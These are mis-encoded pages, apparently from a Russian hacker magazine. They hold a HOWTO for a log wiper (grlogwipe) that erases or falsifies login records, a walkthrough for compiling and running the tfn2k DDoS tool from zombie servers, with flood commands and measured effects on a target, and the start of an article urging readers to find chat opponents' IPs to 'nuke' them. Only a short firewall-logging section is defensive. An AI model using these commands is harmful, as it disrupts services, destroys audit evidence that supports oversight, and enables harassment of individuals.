âàÿ óäàëÿåò øàáëîíû, âçÿòûå îò

äðóãèõ ïàðàìåòðîâ, èç áèíàðíûõ
ôàéëîâ. Îïöèÿ çàïèñè ïîçâîëÿåò
ìîäèôèöèðîâàòü áèíàðíûå ôàéëû,
çàìåíÿÿ â íèõ èìÿ ïîëüçîâàòåëÿ,
õîñò, äàòó çàõîäà â ñèñòåìó è ò.ï.

ÏÎÄÑÒÀÂÀ - ÄÅËÎ 
ÁËÀÃÎÐÎÄÍÎÅ
Ïåðåéäåì ê ïðàêòèêå. Ïîïðîáóåì
ñìåíèòü èìÿ ïîëüçîâàòåëÿ root íà
lamer ;). Â ýòîì íàì ïîìîãóò îïöèè -
u è -U. Ïåðâàÿ ïðèíèìàåò øàáëîí-
íîå èìÿ, âòîðàÿ - èìÿ, íà êîòîðîå
çàìåíÿåì. Â äîâåðøåíèå ñëåäóåò
ñêàçàòü êëèíåðó, ÷òî ìû ðàáîòàåì ñ
áèíàðíèêàìè â ðåæèìå èçìåíåíèÿ
äàííûõ. Âñÿ êîìàíäíàÿ ñòðîêà çà-
ïèøåòñÿ ñëåäóþùèì îáðàçîì:

./grlogwipe -u root -U lamer -w

Âûïîëíèâ last lamer, ìû óáåäèìñÿ
â ïðàâèëüíîé ðàáîòå ëîãâàéïåðà.

Íà ñàìîì äåëå îïöèÿ çàìåíû ïîëü-
çîâàòåëÿ èíîãäà ìîæåò áûòü ïîëåç-
íîé. Âñå çàâèñèò îò èñõîäíîé ñèòóà-
öèè.

Õîñò ïîëüçîâàòåëÿ çàìåíÿåòñÿ
àíàëîãè÷íî. Òîëüêî âìåñòî ïàðà-

ìåòðîâ -u è -U èñïîëüçóþòñÿ -h è -
H. Êîìàíäà:

./grlogwipe -u root -U lamer -h 127.0.0.1 -H
192.192.192.1 -w

çàìåíèò ëîãèí root è õîñò 127.0.0.1
íà äðóãèå çíà÷åíèÿ â ñëó÷àå ñîâïà-
äåíèÿ çàäàííîãî øàáëîíà. Äàòà çà-
õîäà òàêæå ìîæåò áûòü çàìåíåíà,
òîëüêî óêàçûâàòü åå íóæíî ÷åðåç
îïöèè -d è -D â ôîðìàòå mmddhh-
mmss.

ÏÐßÌÀß ÇÀÄÀ×À - ÓÁÈÐÀÅÌ
ÇÀ ÑÎÁÎÉ
�Çà÷åì ýòè èçâðàùåíèÿ?� - ñïðî-
ñèøü òû è ïîòðåáóåøü îò ìåíÿ ñèí-
òàêñèñà, îðèåíòèðîâàííîãî íà ïîë-
íîå óäàëåíèå øàáëîííîé çàïèñè.
Ýòî òàêæå âîçìîæíî è äåëàåòñÿ ïó-
òåì îïóñêàíèÿ çàãëàâíûõ îïöèé è äî-

áàâëåíèÿ ïàðàìåòðà -w. Òàêèì îáðà-
çîì, ñòðîêà:

./grlogwipe -u root -H 127.0.0.1 -w -r

óáåðåò èç áèíàðíûõ ëîãîâ âñå çàõî-
äû ðóòà ñ ëîêàëüíîãî IP.

Øàáëîí ìîæíî çàäàâàòü êàê ïî
ëîãèíó, ip-àäðåñó, òàê è ïî äàòå.
Åùå ðàç ïîâòîðþñü, ÷òî óêàçûâàåò-
ñÿ îíà â ôîðìàòå mmddhhmmss.

È ÝÒÎ ÂÑÅ?!
Ýòî âñå, íà ÷òî ñïîñîáåí grlogwipe.
Íå ïèòàé íàäåæäû, ÿ íå áóäó ðàñïè-
ñûâàòü òåáå ðàáîòó âñåõ êëèíåðîâ,
î êîòîðûõ áûëî ðàññêàçàíî â îáçî-
ðå. Òû ïðåêðàñíî ðàçáåðåøüñÿ ñàì,
ïðî÷èòàâ èñ÷åðïûâàþùèé README
ê êàæäîìó èç íèõ ëèáî ïðîñìîò-
ðèøü source-êîä ïðè îòñóòñòâèè ìà-
íóàëà. Ýòîò ìèíè HOWTO ëèøü òîë-
÷îê (íå ïóòàòü ñ æàðãîííûì çíà÷å-
íèåì ýòîãî ñëîâà ;)) ê ïðî÷òåíèþ ìà-
íóàëà ïî èíòåðåñóþùåé òåáÿ òåìå.
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È

ËÎÃÂÀÉÏÅÐÛ HOWTO

Õîñò ïîëüçî-
âàòåëÿ çàìå-
íÿåòñÿ àíàëî-
ãè÷íî. Òîëüêî
âìåñòî ïàðà-
ìåòðîâ -u è -U
èñïîëüçóþòñÿ
-h è -H.

Äàòà çàõîäà
òàêæå ìîæåò
áûòü çàìåíå-
íà, òîëüêî
óêàçûâàòü åå
íóæíî ÷åðåç
îïöèè -d è -D
â ôîðìàòå
mmddhhmmss.

Ïðåâðàùàåì ñóïåðïîëüçîâàòåëÿ â ëàìåðà

Áûë ðóò, è òóò åãî íå ñòàëî

Äåâåëîïåðû çíàþò, ÷òî äåëàþò, 
ïîýòîìó óðåçàòü èõ òâîðåíèÿ ïî ëè÷íîìó

æåëàíèþ, êàê ìèíèìóì, íåêðàñèâî.





ÈÇ ÈÑÒÎÐÈÈ...
C DDoS Èíòåðíåò ïîçíàêîìèëñÿ åùå â äàëåêîì 1996 ãîäó, êîãäà áûëè ïðåäïðèíÿòû
ïîïûòêè ïåðâûõ ìàññîâûõ àòàê. Äî íåäàâíåãî âðåìåíè áûòîâàëî ìíåíèå, ÷òî ãëîáàë
ÿâëÿåòñÿ íåóÿçâèìûì: ïðè âûâåäåíèè èç ñòðîÿ îäíîãî ñåãìåíòà áóäåò ðàáîòàòü äðóãîé
(â ñèëó ñâîåé ðàñïðåäåëåííîñòè). 

î 21 îêòÿáðÿ 2002 ãî-
äà áûë ïðîèçâåäåí
ìàñøòàáíûé DDoS,

íàïðàâëåííûé íà ñëàáîå ìåñòî
âñåìèðíîé ïàóòèíû - DNS ñåðâå-
ðà. Áûëè àòàêîâàíû 13 êîðíåâûõ
ñåðâåðîâ èìåí, â îñíîâíîì íàõî-
äÿùèõñÿ â Øòàòàõ. Àòàêà ïîâëåê-
ëà çà ñîáîé ìíîãî ïîòåðü, íî
ïîëüçîâàòåëè ìàëî îùóòèëè íà
ñåáå çàäåðæêó ñâÿçè. Òåì íå ìå-
íåå ÔÁÐ çàÿâèëî, ÷òî îñåííèé
DDoS - ñàìàÿ êðóïíàÿ ãëîáàëüíàÿ
àòàêà çà âñþ èñòîðèþ ñóùåñòâî-
âàíèÿ Èíòåðíåòà. Òî ëè åùå áó-
äåò...

Ñîâñåì íåäàâíî áûëà îáíàðóæå-
íà áðåøü â ïðàâèëüíîé îñè, à
èìåííî â ÿäðå 2.4.x. ×åðåç äûðêó
â ÿäðå ìîæíî óáèòü Linux êðèâû-
ìè ïàêåòàìè, ïîñëå ïîñûëêè êîòî-
ðûõ ïðîöåññîð íà òà÷êå çàãðóæà-
åòñÿ íà âñå 100%, à ñåðâåð óõîäèò
â äàóí. DoS-åð åùå íå âûøåë, íî,
ñóäÿ ïî îòêðûòîìó îáúÿñíåíèþ
áàãè, ïóáëè÷íûé åãî ðåëèç íå çà
ãîðàìè. Òàê ÷òî ñîâåòóþ àäìèíàì
îáíîâèòü ÿäðî äî ñàìîé ïîñëåä-
íåé âåðñèè, ÷òîáû ïîòîì íå áûëî
ìó÷èòåëüíî áîëüíî...

ÎÒ ÒÅÎÐÈÈ Ê ÏÐÀÊÒÈÊÅ
Êàê ÿ óæå ãîâîðèë, DoS-àòàêè
ïîäðàçäåëÿþòñÿ íà íåñêîëüêî òè-
ïîâ. Íî, íåñìîòðÿ íà òèï ÄîÑà,
äëÿ àòàêóþùåãî î÷åíü âàæíû
íåñêîëüêî ôàêòîðîâ:

1. Êàíàë. Ïî îïðåäåëåíèþ òâîé
êàíàë äîëæåí áûòü íàìíîãî øèðå
êàíàëà ñåðâåðà-æåðòâû, ïîýòîìó,
åñëè òû ñèäèøü íà äèàëàïå ãîðî-
äà-ãåðîÿ Ìóõîñðàíñêà, íè÷åãî õî-
ðîøåãî èç àòàêè íå âûéäåò :).

2. Òðàôôèê. Ó÷èòûâàé òîò ôàê-
òîð, ÷òî âåñü òðàôôèê, êîòîðûé
òû íàãîíèøü óäàëåííîìó ñåðâåðó,
ìîæåò ó÷èòûâàòüñÿ òâîèì ïðîâàé-
äåðîì, òàê ÷òî ó òåáÿ åñòü ðåàëü-
íûé øàíñ íàñòóïèòü íà òâîè æå
ñîáñòâåííûå ãðàáëè (÷èòàé: �ïî-
ïàñòü íà îãðîìíûå áàáêè�).

3. Áåçîïàñíîñòü. Â ïîñëåäíåå
âðåìÿ DoS-àòàêàìè çàíèìàåòñÿ

abuse-ñëóæáà àòàêîâàííûõ êîìïà-
íèé. Èíûìè ñëîâàìè, åñëè òåáÿ
çàñåêóò, òåáå áóäåò íå ñëàäêî, ïî-
ýòîìó, åñëè óæ èäåøü íà ãðÿçíîå
äåëî, èäè ñ óìîì.

Áóäåì ñ÷èòàòü, ÷òî âñå ôàêòîðû
áûëè áëàãîïîëó÷íî ó÷òåíû. Òû
æå âñåãäà ìå÷òàë ïî÷óâñòâîâàòü
ñåáÿ çëûì õàêåðîì, ïðîèçâîäÿ-
ùèì DoS-àòàêó? Òîãäà ñëåäè çà
ìîèìè äåéñòâèÿìè: ñåé÷àñ ìû ñî-
âåðøèì ãëîáàëüíûé DDoS.

ÈÇÓ×ÀÅÌ ÏÓËÅÌÅÒ
Äëÿ çàäóìêè èñïîëüçóåì tfn2k,
îïèñàííûé â îáçîðå DDoS-åðîâ
ïîä Ëèíü. Óñòàíîâèì äâà ñåðâå-
ðà-äåìîíà íà ðàçëè÷íûå ìàøèíû.
Ïîñëå ýòîãî ïðèñòóïèì ê èçó÷å-
íèþ êëèåíòà. Ïîãîâîðèì î êàæäîì
åãî ïàðàìåòðå, ÷òîáû íå âîçíèêà-
ëî ëèøíèõ âîïðîñîâ.

Åñëè çàïóñòèòü tfn áåç ïàðàìåò-
ðîâ, òî òû ïîëó÷èøü îãðîìíûé
help ïî åãî èñïîëüçîâàíèþ.

Ïåðâûé ïàðàìåòð -PP. Óêàçûâàåò
íà ïðîòîêîë ôëóäà. Ìîæåò èìåòü
îäíî èç òðåõ çíà÷åíèé: TCP, UDP
è ICMP.

Îïöèÿ -SS ïîçâîëÿåò çàñïóôôèòü
(çàìåíèòü) òâîé ðåàëüíûé ip-àä-
ðåñ. Ïðèìåíèì òîëüêî â ñëó÷àå
UDP-ïðîòîêîëà.

Ïàðàìåòð -ff óêàçûâàåò íà ôàéë,
â êîòîðîì õðàíÿòñÿ ip-àäðåñà çà-
çîìáèðîâàííûõ òà÷åê. Ýòî ôàéëî
äîëæíî áûòü ïðåäâàðèòåëüíî
ñîñòàâëåíî è ïðîâåðåíî.

Åñëè äåìîí óñòàíîâëåí ëèøü íà
îäèí ñåðâåð, èñïîëüçóé ïàðàìåòð
-h âìåñòî -f, ïåðåäàâ åìó ip-àäðåñ
çîìáèðîâàííîé òà÷êè.

Îïöèÿ -ii óêàçûâàåò íà ñåðâåð,
êîòîðûé ìû áóäåì ôëóäèòü. Äó-
ìàþ, óêàçàòü åå çíà÷åíèå äëÿ òå-
áÿ - íå ïðîáëåìà.

Äëÿ óêàçàíèÿ ïîðòà (ïðè SYN-
ôëóäå) óêàçûâàé çíà÷åíèå ïàðà-
ìåòðà -pp (ïîðò äëÿ ñîåäèíåíèÿ).

Íàêîíåö ìû äîáðàëèñü äî òèïîâ
DoS-àòàê. Ðàññìîòðèì ñàìûå ïîïó-
ëÿðíûå èç íèõ:

1. Ôëóä UDP-ïàêåòàìè. Çàâàëèâà-
åò ñåðâåð UDP-ìóñîðîì, òàê ÷òî,
åñëè ôàåðâîëë íà òà÷êå íå ïðî-
ïóñêàåò UDP, ñåðâåð áëàãîïîëó÷-
íî çàãíåòñÿ. Äëÿ âûáîðà ýòîãî òè-
ïà óñòàíîâè çíà÷åíèå îïöèè -c
ðàâíûì 4.

2. TCP/SYN ôëóä. Ìåõàíèçì
ôëóäà, ÿ äóìàþ, ïîíÿòåí - ñîçäà-
íèå ìíîãî÷èñëåííûõ ñîåäèíåíèé
íà îïðåäåëåííûé ïîðò ñ öåëüþ
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DOS ÀÒÀÊÈ Â ÏÐÀÂÈËÜÍÎÉ ÎÑÈ

ÔÁÐ çàÿâèëî,
÷òî îñåííèé
DDoS - ñàìàÿ
êðóïíàÿ ãëî-
áàëüíàÿ àòàêà
çà âñþ èñòî-
ðèþ ñóùåñò-
âîâàíèÿ Èí-
òåðíåòà.

Ñïèñîê óÿçâèìûõ âåðñèé Linux...

Èìåÿ îïûò IRC-îïåðàòîðà, ñ
óâåðåííîñòüþ ñêàæó, ÷òî DDoS â
IRC - ÿâëåíèå âïîëíå îáûäåííîå.
Âåäü êàæäûé ïîëüçîâàòåëü ìîæåò
ïîñìîòðåòü ñïèñîê ñåðâåðîâ

êîìàíäîé /links, à çàòåì
íàïðàâëåííî ôëóäèòü èõ ïîòîêîì
ìóñîðà îò ìàøèí ñ îãðîìíûì
êàíàëîì...

DDOS Â IRC ÑÅÒßÕ
H O W T O
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îñòàíîâà îïðåäåëåííîãî ñåðâèñà.
Çíà÷åíèå ýòîãî òèïà ðàâíî 5.

3. ICMP ôëóä. Èñïîëüçóÿ îáû÷-
íûé ECHO REQUEST, tfn2k óêëà-
äûâàåò æåðòâó íà ëîïàòêè. Åñëè
õî÷åøü èñïûòàòü ýòîò òèï, óñòà-
íîâè çíà÷åíèå ïàðàìåòðà -c ðàâ-
íûì 6.

4. MIX ôëóä. Èíòåãðàöèÿ âñåõ
ïðîòîêîëîâ (ICMP, UDP è TCP â
îäíîì ôëàêîíå). Ïîñëå òàêîãî àñ-
ñîðòè îò ñåðâåðà îñòàåòñÿ ìîêðîå
ìåñòî ;). Òèï ôëóäà ðàâåí 8.

Ïîìèìî ïàðàìåòðîâ ôëóäà ñó-
ùåñòâóþò ïîëåçíûå îïöèè -c,
ïîçâîëÿþùèå ñäåëàòü ñëåäóþ-
ùèå äåéñòâèÿ:

1. Îñòàíîâèòü ëþáîé ôëóä íà ip-
àäðåñ. Çíà÷åíèå ïàðàìåòðà âûñòà-
âèòü ðàâíûì 0.

2. Óñòàíîâèòü èíîé ðàçìåð ïàêå-
òà. Äëÿ ýòîãî íóæíî èçìåíèòü
çíà÷åíèå -i (ðàçìåð â áàéòàõ), à
çíà÷åíèå ïàðàìåòðà -c ïîñòàâèòü
ðàâíûì 3.

3. Âûïîëíèòü êîìàíäó íà âñåõ
çàçîìáèðîâàííûõ ñåðâåðàõ. Çíà-
÷åíèå -c ðàâíî 10, çíà÷åíèå -i -
íóæíîé êîìàíäå.

Âîò, ñîáñòâåííî, è âñå âîçìîæ-
íîñòè ôëóäåðà :). Îñòàëîñü ïðî-
âåðèòü èõ â äåéñòâèè. Êîíå÷íî,
äâà ñåðâåðà äëÿ DDoS î÷åíü ìàëî
(îáû÷íî ÷èñëî ñåðâåðîâ ñîñòàâ-
ëÿåò îò íåñêîëüêèõ äåñÿòêîâ äî
íåñêîëüêèõ òûñÿ÷!), íî çà íåèìå-
íèåì áîëüøåãî îãðàíè÷èìñÿ ýòèì.
Äëÿ íà÷àëà óñòàíîâèì è çàïóñòèì
äåìîí íà ñåðâåðàõ
server1.flood.net è
server2.flood.net (âñå èìåíà âû-
ìûøëåíû, ñîâïàäåíèå ñ÷èòàòü
÷èñòîé ñëó÷àéíîñòüþ ;)).

ÌÓÒÈÌ DDOS
Èòàê, ðàñïàêóåì àðõèâ tfn2k.tgz
(êîìàíäîé tar zxf tfn2k.tgz), çàòåì
ïåðåéäåì â ïàïêó tfn2k/src è íà-
ïèøåì êîìàíäó make. Â ìîåì ñëó-
÷àå êîìïèëÿòîð ðóãíóëñÿ íà ïåðå-
îïðåäåëåííóþ ñòðóêòóðó in_addr
â õåàäåðå ip.h. Ïîñëå íåáîëüøèõ
íàäðóãàòåëüñòâ íàä ýòèì ôàéëîì
(â âèäå êîììåíòàðèÿ #ifndef

êîíñòðóêöèè) DDoS-åð èñïåêñÿ
íîðìàëüíî (õîòü è ñ êó÷åé warn-
ing�îâ).

Ñëåäóþùèì øàãîì áûë çàïóñê
ñåðâåðà-äåìîíà. Ýòî áèíàðíèê td
â ïàïêå src/. Ïîñëå çàïóñêà îí íå
âûäàñò íèêàêèõ ñëîâ, à ìîë÷à
óïàäåò â áýêãðàóíä. Òó æå îïåðà-
öèþ ïðîäåëûâàåì è ñî âòîðûì
ñåðâåðîì.

Ïîñëå èñòÿçàíèé ñ ñåðâåðîì ïå-
ðåéäåì ê êëèåíòó. Ñîçäàäèì ôàéë
hosts, â êîòîðîì áóäåò íàõîäèòü-
ñÿ ñïèñîê çàçîìáèðîâàííûõ ñåð-
âåðîâ (â íàøåì ñëó÷àå ôàéë áó-
äåò ñîäåðæàòü äâå çàïèñè).

Íàñòàëî ñàìîå èíòåðåñíîå. Ïîï-
ðîáóåì îòDDoSèòü êîãî-íèáóäü ïî
ñàìûå ïîìèäîðû. Äëÿ íàãëÿäíîñ-
òè áûëà âûáðàíà òà÷êà ñî ñëàáûì
êàíàëîì. Ìåðÿåì ïèíã äî íåå - 82
ìèëëèñåêóíäû. Äîâîëüíî ñëàáûé
ïèíã, íå òàê ëè ;)? Òåïåðü çàïóñ-
òèì êëèåíò tfn2k. Êîìàíäóåì:

./tfn2k -P TCP -f ./hosts -i server3.flood.net -
c 4

è íàñëàæäàåìñÿ ïðîöåññîì UDP-
ôëóäà ñåðâåðà.

Çàìåðÿåì ïèíã â ïðîöåññå ôëó-
äà. È ÷òî ìû âèäèì? Ñðåäíåå âðå-
ìÿ îòâåòà óâåëè÷èëîñü ïî÷òè â
äâà ðàçà è ñîñòàâèëî 153 ìèëëè-

ñåêóíäû. Ýôôåêò íåïëîõîé. À ÷òî
åñëè âçÿòü íå äâà, à äâàäöàòü èëè
äàæå äâåñòè çàçîìáèðîâàííûõ
ñåðâåðîâ? Ñóäÿ ïî òåñòèðîâàíèþ,
îò ñåðâåðà íå îñòàíåòñÿ äàæå
ìîêðîãî ìåñòà.

Ïîùàäèì ñåðâåð è ïðåêðàòèì
ôëóä êîìàíäîé ./tfn2k -PP TTCP -ff
./hosts -ii sserver3.flood.net -cc 00.
Ïîñëå âñåãî ýòîãî ñ÷èòàåì ýêñïå-
ðèìåíò óñïåøíûì. Ìû äîêàçàëè,
÷òî DDoS ìîæåò íàíåñòè ðåàëü-
íûé óðîí ñåðâåðó è åãî ñåðâèñàì.
Áîëåå òîãî, DDoS ïîäðàçóìåâàåò
ðåàëüíóþ óòå÷êó òðàôôèêà, à çà
íåãî êòî-òî âñå ðàâíî ðàñïëà÷è-
âàåòñÿ...

À ÅÑÒÜ ËÈ ÇÀÙÈÒÀ?
Ýòîò âîïðîñ ïîêàæåòñÿ òåáå íåì-
íîãî ñòðàííûì. Âåäü ôàåðâîëëû
åùå íèêòî íå îòìåíÿë. Êàçàëîñü
áû, óñòàíîâè çàïðåò íà UDP, ICMP

è îòêðîé TCP òîëüêî äîâåðåííûì
õîñòàì (ìíå ëè òåáÿ ó÷èòü ïðà-
âèëüíîé íàñòðîéêå ôàåðâîëëà?).
Íî íå âñå òàê ïðîñòî, êàê êàæåò-
ñÿ... Åñëè òâîåé ìàøèíîé ñåðüåç-
íî çàèíòåðåñóþòñÿ, òî íèêàêîé
ôàåðâîëë òåáå íå ïîìîæåò. Âåäü
ïàêåòû âñå ðàâíî ïðèõîäÿò â ñèñ-
òåìó, à ôàéð ëèøü ôèëüòðóåò èõ.
Ñ äåñÿòêàìè è ñîòíÿìè ïàêåòîâ
îí, äîïóñòèì, ñïðàâèòñÿ. À ÷òî åñ-
ëè àòàêà áóäåò ïðîèçâîäèòüñÿ ñ
òûñÿ÷è ìàøèí? Ñåðâåð ïðîñòî íå
âûäåðæèò, à ïðîïóñêíàÿ ñïîñîá-
íîñòü óïàäåò äî íóëåâîé îòìåòêè.
Åäèíñòâåííîå ñïàñåíèå - ïðîïè-
ñûâàòü íàñòðîéêó ôàåðâîëëà íå
íà ñàìîé ìàøèíå, à íà ðîóòåðå,
êîòîðûé ñòîèò íà ñòóïåíü âûøå.
Íî îïÿòü æå ïðè àòàêå ðîóòåðó
âðÿä ëè ïîâåçåò ;).

À îò íåáîëüøèõ àòàê ôàåðâîëë -
åäèíñòâåííîå ñðåäñòâî çàùèòû.
Ìàëî êòî çíàåò, ÷òî îí ìîæåò ïè-
ñàòü â ëîãè âñå îáðàùåíèÿ ê ñåð-
âåðó. Ñåé÷àñ ÿ ðàññêàæó - êàê.
Îáúÿñíÿþ íà ïðèìåðå ipfw (ôàé-
ðà äëÿ FreeBSD). Ñîçäàåì çàïèñü,
êîòîðàÿ îáðàáàòûâàåò âåñü âõî-
äÿùèé òðàôôèê. Ïîìèìî ýòîãî,

èñïîëüçóåì ïàðàìåòð log, à ïðè
æåëàíèè è logamount, çíà÷åíèå
êîòîðîãî áóäåò ðàâíî ìàêñèìóìó
çàïèñåé â log-ôàéëå. Òàêèì îáðà-
çîì, çàïèñü áóäåò âûãëÿäåòü òàê:

ipfw add 50000 log logamount 1000000
allow ip from any to me

Äàëåå ñìîòðè /var/log/secure
(òóäà áóäåò ñêèäûâàòüñÿ èíôà î
âõîäÿùèõ ïàêåòàõ). À åùå ëó÷øå
- ïåðåíàñòðîé syslogd, ÷òîáû çà-
ïèñè îò ôàåðâîëëà ïèñàëèñü â
îòäåëüíûé ëîã. Íî åãî íàñòðîéêà -
ýòî ñîâñåì äðóãàÿ èñòîðèÿ...

Âîò, ñîáñòâåííî, è âñå. Ïîðà äå-
ëàòü âûâîäû. Ïîñëå ïðî÷òåíèÿ
ìàòåðèàëà äëÿ êîãî-òî DDoS îñ-
òàëñÿ çàãàäêîé è ìèôè÷åñêèì ÿâ-
ëåíèåì, êòî-òî ïîíÿë âñþ ãëóáèíó
òàêèõ àòàê è ïîñïåøèë çàùèùàòü
ñâîé ñåðâåð, à êòî-òî çàáèë íà
âñå ïðîáëåìû è ñâàëèë ïèòü ïè-
âî. À õàêåð íå äðåìëåò, îí ïèøåò
çàâåòíóþ ñòðî÷êó êëèåíòó tfn, êî-
òîðóþ ñ ðàäîñòüþ ãîòîâû èñïîë-
íèòü òûñÿ÷è äåìîíîâ DDoS-åðà...

E

Çàùèùàåìñÿ îò íåæäàííûõ ãîñòåé

3.14zDoS âñåìó æèâîìó =)

Ïðîâîäèì çàìåðû: 

ping äî è âî âðåìÿ àòàêè

DDoS ìîæåò
íàíåñòè ðå-

àëüíûé óðîí
ñåðâåðó è åãî

ñåðâèñàì.
Áîëåå òîãî,

DDoS ïîäðàçó-
ìåâàåò ðåàëü-

íóþ óòå÷êó
òðàôôèêà, à

çà íåãî êòî-òî
âñå ðàâíî

ðàñïëà÷èâà-
åòñÿ...

Äâà-òðè
ñåðâåðà-çîìáè

äëÿ DDoS
î÷åíü ìàëî -

îáû÷íî ÷èñëî
ñåðâåðîâ

ñîñòàâëÿåò îò
íåñêîëüêèõ
äåñÿòêîâ äî
íåñêîëüêèõ

òûñÿ÷!



Ðå÷ü ïîéäåò î ïðîãàõ äëÿ DoS-àòàê íà âèíäîâûå ìàøèíû, áîëüøå èçâåñòíûõ êàê
íþêåðû. Íàïîìíþ òåáå, ÷òî ýòî âèä àòàê âûçûâàåò íåñòàáèëüíóþ ðàáîòó àòàêóåìîé
ìàøèíû - îíà ìîæåò çàâèñíóòü, ñãëþ÷èòü, è, êàê ïðàâèëî, âñåãäà òåðÿåò ñâÿçü.

àïðàâëåíû íþêåðû íà
ïðîãðàììíûå ãëþêè â
îñè è ñåðâåðíîì ñîô-

òå, èëè íà ïåðåãðóçêó ïîðòîâ. Äëèò-
ñÿ àòàêà â çàâèñèìîñòè îò ñïîñîáà
è èñïîëüçóåìûõ ñðåäñòâ, ëèáî äî
ïåðåçàãðóçêè ñèñòåìû, ëèáî îïðå-
äåëåííûé ïðîìåæóòîê âðåìåíè, íà
êîòîðûé íåîáõîäèìî èçîëèðîâàòü
æåðòâó îò îáùåñòâà.

Íàðîä þçàåò íþêåðû ïî ðàçíûì
ïðè÷èíàì: êîìó-òî íàäîåë äîëáàííûé
óðîä â àñå èëè èðêå, è íàäî ñðî÷íî
åãî âûêèíóòü îòòóäà, ÷òîáû íåïîâàä-
íî áûëî, à ó êîãî-òî íàìåðåíèÿ ïî-
ñåðüåçíåé, íàïðèìåð, àäìèíà èçîëè-
ðîâàòü, ÷òîáû âîñïîëüçîâàòüñÿ òîëü-
êî ÷òî ïåðåõâà÷åííûìè ëîãîì è ïàñ-
ñîì íà ðóò ê óäàëåííîìó ñåðâàêó.

Çàùèòèòüñÿ îò íþêåðîâ äîâîëüíî
ëåãêî ïðè ïîìîùè õîðîøåãî è ïðà-
âèëüíî íàñòðîåííîãî ôàåðâîëà, à
òàêæå åñëè âîâðåìÿ ñòàâèòü ñâå-
æèå îáíîâëåíèÿ, çàïëàòêè è ñåðâèñ
ïàêè íà îñü, à ëó÷øå þçàòü âñå
ñðåäñòâà ñðàçó.

Ê ñîæàëåíèþ, à ìîæåò è ê ñ÷àñòüþ,
âðåìÿ íþêåðîâ óæå ïðîõîäèò âìåñòå
ñ ýðîé 95-õ è 98-õ Âèíäîâ. Äàâíî óæå
íå ïîÿâëÿëèñü ñòîëü âîïèþùèå äû-
ðû, ÷òîáû ìîæíî áûëî íàïèñàòü ãóå-
âûå ýêñïëîèòû óáèâàþùèå âðàãà îä-
íèì êëèêîì. Çàâàëèòü NT-åâóþ òà÷êó
ñ ïîìîùüþ ñòîëü ïðèìèòèâíûõ
èíñòðóìåíòîâ ïðàêòè÷åñêè íåâîç-
ìîæíî. Ñåðüåçíàÿ DoS àòàêà òðåáóåò
òùàòåëüíîé ïîäãîòîâêè, òîëñòûõ êà-
íàëîâ, íèêñîâîãî øåëëà è ïðî÷èõ
ïðåëåñòåé.

Íî ÷òîáû òû íå êðè÷àë, ÷òî ýòî âñå
ëàæà, è íå ñòîèëî âîîáùå ýòèì ìåñòî
â æóðíàëå çàíèìàòü, ÿ òåáå ñêàæó, ÷òî,
âî-ïåðâûõ, îñòàëîñü åùå ìíîãî íàðî-
äà, ñ óäîâîëüñòâèåì þçàþùåãî 9x è
íè â êàêóþ íå ïðèçíàþùåãî 2000 è
XP, âî-âòîðûõ, è NT-åâûå ìàøèíû èìå-
þò ñâîè áðåøè (íå ïåðåâåëèñü åùå ó
Ãåéòñà áàãè!), è ïðè íåêîòîðîì óñåð-
äèè ìîæíî óðîíèòü è èõ. Òàê ÷òî âíè-
êàé - íàâåðíÿêà, ïðèãîäèòñÿ.

ÏÎËÖÀÐÑÒÂÀ ÇÀ IP
Íå óñòàíó ïîâòîðÿòü: ÷òîáû çàþ-
çàòü äàæå ñàìóþ òóïóþ òóëçó ñ îã-
ðîìíîé êðàñíîé êíîïêîé «KILL

THAT BUSTARD!!!», íóæíî õîòÿ áû
íåìíîãî øàðèòü â ñåòåâûõ ïðîòîêî-
ëàõ, à äëÿ ýòîãî íàäî íå ëåíèòüñÿ è
õîòÿ áû ìèíèìàëüíî ÷èòàòü rfc�øêè
è äðóãèå äîêè, íà êîòîðûå ÑÏÅÖ ðå-
ãóëÿðíî äàåò ëèíêè (à ñ íåäàâíèõ
ïîð è âûêëàäûâàåò íà äèñê). Ïîýòî-
ìó, êîãäà íà ïî÷òó æóðíàëà î÷åðåä-
íîé ðàç ïðèõîäèò ïèñüìî ñ âîïðî-
ñîì: «Êàê óçíàòü IP ëàìåðà â ÷à-
òå?», ïî âñåé ðåäàêöèè ðàçäàåòñÿ
ñêðåæåò çóáîâíûé. Íó íåëüçÿ ïðîñ-
òî òàê íè ñ òîãî, íè ñ ñåãî âçÿòü è
óçíàòü IP�øíèê â âåá-÷àòå, êàêèì áû
ëàìîáîòîì íè áûë åãî îáëàäàòåëü!

Åñòåñòâåííî, ÷òîáû íàêàçàòü êà-
êîãî-íèáóäü äÿòëà (à îí äÿòåë, åñëè
ïðîòèâ íåãî êàíàåò íþêåð), íóæíî
çíàòü åãî IP ëèáî ñåòåâîå èìÿ. ×òî-
áû çàêîðìèòü âðàæåñêóþ òà÷êó
äåðüìîì äî ïîëóñìåðòè, íóæíî ýòî
äåðüìî íà íåå îòïðàâèòü, à ÷òîáû
îòïðàâèòü, íóæíî íàäïèñàòü íà
êîíâåðòå àäðåñîê. Ãðóáî ãîâîðÿ,
IP�øíèê è åñòü ýòîò àäðåñîê. Âñå,
êàê íà ïî÷òàìòå! Â ëîêàëêå íåäðóãà
ìîæíî íàéòè ïî ñåòåâîìó èìåíè,
êîòîðîå ëåãêî ðåçîëâèòñÿ â IP ñòàí-
äàðòíûìè ñðåäñòâàìè Âèíäû, íàï-
ðèìåð ping�îì.

ÇÀËÅÆÈ IP�ØÍÈÊÎÂ
Òàê, ãäå è êàê ìîæíî íàðûòü IP áó-
äóùåé æåðòâû àáîðòà? Ðàçáåðåìñÿ
âî âñåì ïî ïîðÿäêó.

Òåìà ïåðâàÿ. Âîò òû ïîññîðèëñÿ ñ
êàêèì-òî õðåíîì âî äâîðå (÷èòàé â
âåá-÷àòå èëè â êîíôå) è ðåøèë îòï-
ðàâèòü åìó äåðüìà ïî ïî÷òå (íþê-
íóòü), íî åãî àäðåñà (IP) òû, åñòåñò-
âåííî, íå çíàåøü (òû æå ýòîãî ÷åëà
â ïåðâûé ðàç âèäèøü!). Òû òîëüêî
çíàåøü àäðåñ äâîðà (âåá-÷àòà).
Äâîðíèê çíàåò è òâîé àäðåñ, è àä-
ðåñ òâîåãî íåäðóãà (òàêàÿ óæ ó íåãî
ðàáîòà), íî íè òåáå, íè åìó îí àäðå-
ñà ãîâîðèòü íå îáÿçàí è íå ñêàæåò
(îí çëîé). Ìîæíî, ïðîñòî ñïðîñèòü
ñàìîãî ÷óâàêà. ß áû íå îòâåòèë :).
Ìîæíî çàâàëèòü äâîðíèêà, òî åñòü
ñåðâàê (À âàì ñëàáî?), òîãäà òû áó-
